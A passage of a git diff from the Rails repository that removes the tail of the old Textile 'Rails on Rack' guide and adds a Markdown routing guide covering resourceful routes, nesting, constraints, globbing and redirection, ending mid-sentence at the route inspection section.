-* Used to serve static assets. Disabled if <tt>config.serve_static_assets</tt> is true.
-
- *+Rack::Lock+*
-* Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.
-
- *+ActiveSupport::Cache::Strategy::LocalCache::Middleware+*
-* Used for memory caching. This cache is not thread safe.
-
- *+Rack::Runtime+*
-* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
-
- *+Rack::MethodOverride+*
-* Allows the method to be overridden if <tt>params[:_method]</tt> is set. This is the middleware which supports the PUT and DELETE HTTP method types.
-
- *+ActionDispatch::RequestId+*
-* Makes a unique +X-Request-Id+ header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method.
-
- *+Rails::Rack::Logger+*
-* Notifies the logs that the request has began. After request is complete, flushes all the logs.
-
- *+ActionDispatch::ShowExceptions+*
-* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
-
- *+ActionDispatch::DebugExceptions+*
-* Responsible for logging exceptions and showing a debugging page in case the request is local.
-
- *+ActionDispatch::RemoteIp+*
-* Checks for IP spoofing attacks.
-
- *+ActionDispatch::Reloader+*
-* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
-
- *+ActionDispatch::Callbacks+*
-* Runs the prepare callbacks before serving the request.
-
- *+ActiveRecord::ConnectionAdapters::ConnectionManagement+*
-* Cleans active connections after each request, unless the <tt>rack.test</tt> key in the request environment is set to +true+.
-
- *+ActiveRecord::QueryCache+*
-* Enables the Active Record query cache.
-
- *+ActionDispatch::Cookies+*
-* Sets cookies for the request.
-
- *+ActionDispatch::Session::CookieStore+*
-* Responsible for storing the session in cookies.
-
- *+ActionDispatch::Flash+*
-* Sets up the flash keys. Only available if <tt>config.action_controller.session_store</tt> is set to a value.
-
- *+ActionDispatch::ParamsParser+*
-* Parses out parameters from the request into <tt>params</tt>.
-
- *+ActionDispatch::Head+*
-* Converts HEAD requests to +GET+ requests and serves them as so.
-
- *+Rack::ConditionalGet+*
-* Adds support for "Conditional +GET+" so that server responds with nothing if page wasn't changed.
-
- *+Rack::ETag+*
-* Adds ETag header on all String bodies. ETags are used to validate cache.
-
- *+ActionDispatch::BestStandardsSupport+*
-* Enables “best standards support” so that IE8 renders some elements correctly.
-
-TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-
-h4. Using Rack Builder
-
-The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-<ruby>
-# config/application.rb
-config.middleware.clear
-</ruby>
-
-<br />
-<strong>Add a +config.ru+ file to +Rails.root+</strong>
-
-<ruby>
-# config.ru
-use MyOwnStackFromScratch
-run ApplicationName::Application
-</ruby>
-
-h3. Resources
-
-h4. Learning Rack
-
-* "Official Rack Website":http://rack.github.com
-* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
-* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
-* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
-
-h4. Understanding Middlewares
-
-* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
diff --git a/guides/source/routing.md b/guides/source/routing.md
new file mode 100644
index 0000000000..27fd2a35c4
--- /dev/null
+++ b/guides/source/routing.md
@@ -0,0 +1,967 @@
+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
+
+* Understand the code in `routes.rb`
+* Construct your own routes, using either the preferred resourceful style or the `match` method
+* Identify what parameters to expect an action to receive
+* Automatically create paths and URLs using route helpers
+* Use advanced techniques such as constraints and Rack endpoints
+
+--------------------------------------------------------------------------------
+
+The Purpose of the Rails Router
+-------------------------------
+
+The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+### Connecting URLs to Code
+
+When your Rails application receives an incoming request
+
+```
+GET /patients/17
+```
+
+it asks the router to match it to a controller action. If the first matching route is
+
+```ruby
+get "/patients/:id" => "patients#show"
+```
+
+the request is dispatched to the `patients` controller's `show` action with `{ :id => "17" }` in `params`.
+
+### Generating Paths and URLs from Code
+
+You can also generate paths and URLs. If the route above is modified to be
+
+```ruby
+get "/patients/:id" => "patients#show", :as => "patient"
+```
+
+If your application contains this code:
+
+```ruby
+@patient = Patient.find(17)
+```
+
+```erb
+<%= link_to "Patient Record", patient_path(@patient) %>
+```
+
+The router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+Resource Routing: the Rails Default
+-----------------------------------
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+
+### Resources on the Web
+
+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for
+
+```
+DELETE /photos/17
+```
+
+it asks the router to map it to a controller action. If the first matching route is
+
+```ruby
+resources :photos
+```
+
+Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ :id => "17" }` in `params`.
+
+### CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
+
+```ruby
+resources :photos
+```
+
+creates seven different routes in your application, all mapping to the `Photos` controller:
+
+| HTTP Verb | Path | action | used for |
+| --------- | ---------------- | ------- | -------------------------------------------- |
+| GET | /photos | index | display a list of all photos |
+| GET | /photos/new | new | return an HTML form for creating a new photo |
+| POST | /photos | create | create a new photo |
+| GET | /photos/:id | show | display a specific photo |
+| GET | /photos/:id/edit | edit | return an HTML form for editing a photo |
+| PATCH/PUT | /photos/:id | update | update a specific photo |
+| DELETE | /photos/:id | destroy | delete a specific photo |
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+
+### Paths and URLs
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+
+* `photos_path` returns `/photos`
+* `new_photo_path` returns `/photos/new`
+* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
+* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+### Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:
+
+```ruby
+resources :photos, :books, :videos
+```
+
+This works exactly the same as
+
+```ruby
+resources :photos
+resources :books
+resources :videos
+```
+
+### Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action.
+
+```ruby
+get "profile" => "users#show"
+```
+
+This resourceful route
+
+```ruby
+resource :geocoder
+```
+
+creates six different routes in your application, all mapping to the `Geocoders` controller:
+
+| HTTP Verb | Path | action | used for |
+| --------- | -------------- | ------- | --------------------------------------------- |
+| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
+| POST | /geocoder | create | create the new geocoder |
+| GET | /geocoder | show | display the one and only geocoder resource |
+| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder |
+| PATCH/PUT | /geocoder | update | update the one and only geocoder resource |
+| DELETE | /geocoder | destroy | delete the geocoder resource |
+
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers.
+
+A singular resourceful route generates these helpers:
+
+* `new_geocoder_path` returns `/geocoder/new`
+* `edit_geocoder_path` returns `/geocoder/edit`
+* `geocoder_path` returns `/geocoder`
+
+As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+
+### Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+
+```ruby
+namespace :admin do
+ resources :posts, :comments
+end
+```
+
+This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+
+| HTTP Verb | Path | action | used for |
+| --------- | --------------------- | ------- | ------------------------- |
+| GET | /admin/posts | index | admin_posts_path |
+| GET | /admin/posts/new | new | new_admin_post_path |
+| POST | /admin/posts | create | admin_posts_path |
+| GET | /admin/posts/:id | show | admin_post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) |
+
+If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use
+
+```ruby
+scope :module => "admin" do
+ resources :posts, :comments
+end
+```
+
+or, for a single case
+
+```ruby
+resources :posts, :module => "admin"
+```
+
+If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use
+
+```ruby
+scope "/admin" do
+ resources :posts, :comments
+end
+```
+
+or, for a single case
+
+```ruby
+resources :posts, :path => "/admin/posts"
+```
+
+In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
+
+| HTTP Verb | Path | action | named helper |
+| --------- | --------------------- | ------- | ------------------- |
+| GET | /admin/posts | index | posts_path |
+| GET | /admin/posts/new | new | new_post_path |
+| POST | /admin/posts | create | posts_path |
+| GET | /admin/posts/:id | show | post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | post_path(:id) |
+
+### Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+```ruby
+class Magazine < ActiveRecord::Base
+ has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+ belongs_to :magazine
+end
+```
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+
+| HTTP Verb | Path | action | used for |
+| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
+| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine |
+| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine |
+| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine |
+
+This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+
+#### Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+```ruby
+resources :publishers do
+ resources :magazines do
+ resources :photos
+ end
+end
+```
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
+
+```
+/publishers/1/magazines/2/photos/3
+```
+
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+### Routing concerns
+
+Routing Concerns allows you to declare common routes that can be reused inside others resources and routes.
+
+```ruby
+concern :commentable do
+ resources :comments
+end
+
+concern :image_attachable do
+ resources :images, only: :index
+end
+```
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes.
+
+```ruby
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+```
+
+Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+
+```ruby
+namespace :posts do
+ concerns :commentable
+end
+```
+
+### Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs.
+
+```erb
+<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
+```
+
+You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+
+```erb
+<%= link_to "Ad details", url_for([@magazine, @ad]) %>
+```
+
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+
+```erb
+<%= link_to "Ad details", [@magazine, @ad] %>
+```
+
+If you wanted to link to just a magazine:
+
+```erb
+<%= link_to "Magazine details", @magazine %>
+```
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+```erb
+<%= link_to "Edit Ad", [:edit, @magazine, @ad] %>
+```
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+### Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+#### Adding Member Routes
+
+To add a member route, just add a `member` block into the resource block:
+
+```ruby
+resources :photos do
+ member do
+ get 'preview'
+ end
+end
+```
+
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+
+```ruby
+resources :photos do
+ get 'preview', :on => :member
+end
+```
+
+#### Adding Collection Routes
+
+To add a route to the collection:
+
+```ruby
+resources :photos do
+ collection do
+ get 'search'
+ end
+end
+```
+
+This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.
+
+Just as with member routes, you can pass `:on` to a route:
+
+```ruby
+resources :photos do
+ get 'search', :on => :collection
+end
+```
+
+#### A Note of Caution
+
+If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+Non-Resourceful Routes
+----------------------
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+### Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider one of the default Rails routes:
+
+```ruby
+get ':controller(/:action(/:id))'
+```
+
+If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses.
+
+### Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route:
+
+```ruby
+get ':controller/:action/:id/:user_id'
+```
+
+An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+
+NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
+
+```ruby
+get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
+```
+
+TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `:id => /[^\/]+/` allows anything except a slash.
+
+### Static Segments
+
+You can specify static segments when creating a route:
+
+```ruby
+get ':controller/:action/:id/with_user/:user_id'
+```
+
+This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`.
+
+### The Query String
+
+The `params` will also include any parameters from the query string. For example, with this route:
+
+```ruby
+get ':controller/:action/:id'
+```
+
+An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`.
+
+### Defining Defaults
+
+You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults:
+
+```ruby
+get 'photos/:id' => 'photos#show'
+```
+
+With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`.
+
+You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+```ruby
+get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
+```
+
+Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
+
+### Naming Routes
+
+You can specify a name for any route using the `:as` option.
+
+```ruby
+get 'exit' => 'sessions#destroy', :as => :logout
+```
+
+This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+
+You can also use this to override routing methods defined by resources, like this:
+
+```ruby
+get ':username', :to => "users#show", :as => :user
+```
+
+This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+
+### HTTP Verb Constraints
+
+In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+
+```ruby
+match 'photos' => 'photos#show', :via => [:get, :post]
+```
+
+You can match all verbs to a particular route using `:via => :all`:
+
+```ruby
+match 'photos' => 'photos#show', :via => :all
+```
+
+You should avoid routing all verbs to an action unless you have a good reason to, as routing both `GET` requests and `POST` requests to a single action has security implications.
+
+### Segment Constraints
+
+You can use the `:constraints` option to enforce a format for a dynamic segment:
+
+```ruby
+get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
+```
+
+This route would match paths such as `/photos/A12345`. You can more succinctly express the same route this way:
+
+```ruby
+get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+```
+
+`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+```ruby
+get '/:id' => 'posts#show', :constraints => {:id => /^\d/}
+```
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+
+```ruby
+get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
+get '/:username' => 'users#show'
+```
+
+### Request-Based Constraints
+
+You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+```ruby
+get "photos", :constraints => {:subdomain => "admin"}
+```
+
+You can also specify constraints in a block form:
+
+```ruby
+namespace :admin do
+ constraints :subdomain => "admin" do
+ resources :photos
+ end
+end
+```
+
+### Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+
+```ruby
+class BlacklistConstraint
+ def initialize
+ @ips = Blacklist.retrieve_ips
+ end
+
+ def matches?(request)
+ @ips.include?(request.remote_ip)
+ end
+end
+
+TwitterClone::Application.routes.draw do
+ get "*path" => "blacklist#index",
+ :constraints => BlacklistConstraint.new
+end
+```
+
+You can also specify constraints as a lambda:
+
+```ruby
+TwitterClone::Application.routes.draw do
+ get "*path" => "blacklist#index",
+ :constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+```
+
+Both the `matches?` method and the lambda gets the `request` object as an argument.
+
+### Route Globbing
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
+
+```ruby
+get 'photos/*other' => 'photos#unknown'
+```
+
+This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`.
+
+Wildcard segments can occur anywhere in a route. For example,
+
+```ruby
+get 'books/*section/:title' => 'books#show'
+```
+
+would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `"some/section"`, and `params[:title]` equals `"last-words-a-memoir"`.
+
+Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
+
+```ruby
+get '*a/foo/*b' => 'test#index'
+```
+
+would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `"zoo/woo"`, and `params[:b]` equals `"bar/baz"`.
+
+NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
+
+```ruby
+get '*pages' => 'pages#show'
+```
+
+NOTE: By requesting `"/foo/bar.json"`, your `params[:pages]` will be equals to `"foo/bar"` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this:
+
+```ruby
+get '*pages' => 'pages#show', :format => false
+```
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `:format => true` like this:
+
+```ruby
+get '*pages' => 'pages#show', :format => true
+```
+
+### Redirection
+
+You can redirect any path to another path using the `redirect` helper in your router:
+
+```ruby
+get "/stories" => redirect("/posts")
+```
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+```ruby
+get "/stories/:name" => redirect("/posts/%{name}")
+```
+
+You can also provide a block to redirect, which receives the params and the request object:
+
+```ruby
+get "/stories/:name" => redirect {|params, req| "/posts/#{params[:name].pluralize}" }
+get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
+```
+
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
+In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+
+### Routing to Rack Applications
+
+Instead of a String, like `"posts#index"`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
+
+```ruby
+match "/application.js" => Sprockets, :via => :all
+```
+
+As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `:via => :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
+NOTE: For the curious, `"posts#index"` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+
+### Using `root`
+
+You can specify what Rails should route `"/"` to with the `root` method:
+
+```ruby
+root :to => 'pages#main'
+root 'pages#main' # shortcut for the above
+```
+
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the `public/index.html` file for the root route to take effect.
+
+NOTE: The `root` route only routes `GET` requests to the action.
+
+### Unicode character routes
+
+You can specify unicode character routes directly. For example
+
+```ruby
+match 'こんにちは' => 'welcome#index'
+```
+
+Customizing Resourceful Routes
+------------------------------
+
+While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+### Specifying a Controller to Use
+
+The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
+
+```ruby
+resources :photos, :controller => "images"
+```
+
+will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
+
+| HTTP Verb | Path | action | named helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | photos_path |
+| GET | /photos/new | new | new_photo_path |
+| POST | /photos | create | photos_path |
+| GET | /photos/:id | show | photo_path(:id) |
+| GET | /photos/:id/edit | edit | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id | update | photo_path(:id) |
+| DELETE | /photos/:id | destroy | photo_path(:id) |
+
+NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+
+### Specifying Constraints
+
+You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
+
+```ruby
+resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
+```
+
+This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+```ruby
+constraints(:id => /[A-Z][A-Z][0-9]+/) do
+ resources :photos
+ resources :accounts
+end
+```
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `:id => /[^\/]+/` allows anything except a slash.
+
+### Overriding the Named Helpers
+
+The `:as` option lets you override the normal naming for the named route helpers. For example:
+
+```ruby
+resources :photos, :as => "images"
+```
+
+will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
+
+| HTTP Verb | Path | action | named helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | images_path |
+| GET | /photos/new | new | new_image_path |
+| POST | /photos | create | images_path |
+| GET | /photos/:id | show | image_path(:id) |
+| GET | /photos/:id/edit | edit | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id | update | image_path(:id) |
+| DELETE | /photos/:id | destroy | image_path(:id) |
+
+### Overriding the `new` and `edit` Segments
+
+The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+
+```ruby
+resources :photos, :path_names => { :new => 'make', :edit => 'change' }
+```
+
+This would cause the routing to recognize paths such as
+
+```
+/photos/make
+/photos/1/change
+```
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+```ruby
+scope :path_names => { :new => "make" } do
+ # rest of your routes
+end
+```
+
+### Prefixing the Named Route Helpers
+
+You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
+
+```ruby
+scope "admin" do
+ resources :photos, :as => "admin_photos"
+end
+
+resources :photos
+```
+
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+
+To prefix a group of route helpers, use `:as` with `scope`:
+
+```ruby
+scope "admin", :as => "admin" do
+ resources :photos, :accounts
+end
+
+resources :photos, :accounts
+```
+
+This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+
+NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
+
+You can prefix routes with a named parameter also:
+
+```ruby
+scope ":username" do
+ resources :posts
+end
+```
+
+This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+
+### Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+
+```ruby
+resources :photos, :only => [:index, :show]
+```
+
+Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+
+The `:except` option specifies a route or list of routes that Rails should _not_ create:
+
+```ruby
+resources :photos, :except => :destroy
+```
+
+In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
+
+TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+### Translated Paths
+
+Using `scope`, we can alter path names generated by resources:
+
+```ruby
+scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
+ resources :categories, :path => "kategorien"
+end
+```
+
+Rails now creates routes to the `CategoriesController`.
+
+| HTTP Verb | Path | action | used for |
+| --------- | -------------------------- | ------- | ----------------------- |
+| GET | /kategorien | index | categories_path |
+| GET | /kategorien/neu | new | new_category_path |
+| POST | /kategorien | create | categories_path |
+| GET | /kategorien/:id | show | category_path(:id) |
+| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id | update | category_path(:id) |
+| DELETE | /kategorien/:id | destroy | category_path(:id) |
+
+### Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the `Inflector`.
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'tooth', 'teeth'
+end
+```
+
+### Using `:as` in Nested Resources
+
+The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example,
+
+```ruby
+resources :magazines do
+ resources :ads, :as => 'periodical_ads'
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+
+Inspecting and Testing Routes
+-----------------------------
+
+Rails offers facilities for inspecting and testing your routes.
+
+### Seeing Existing Routes
+
+To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see:
+
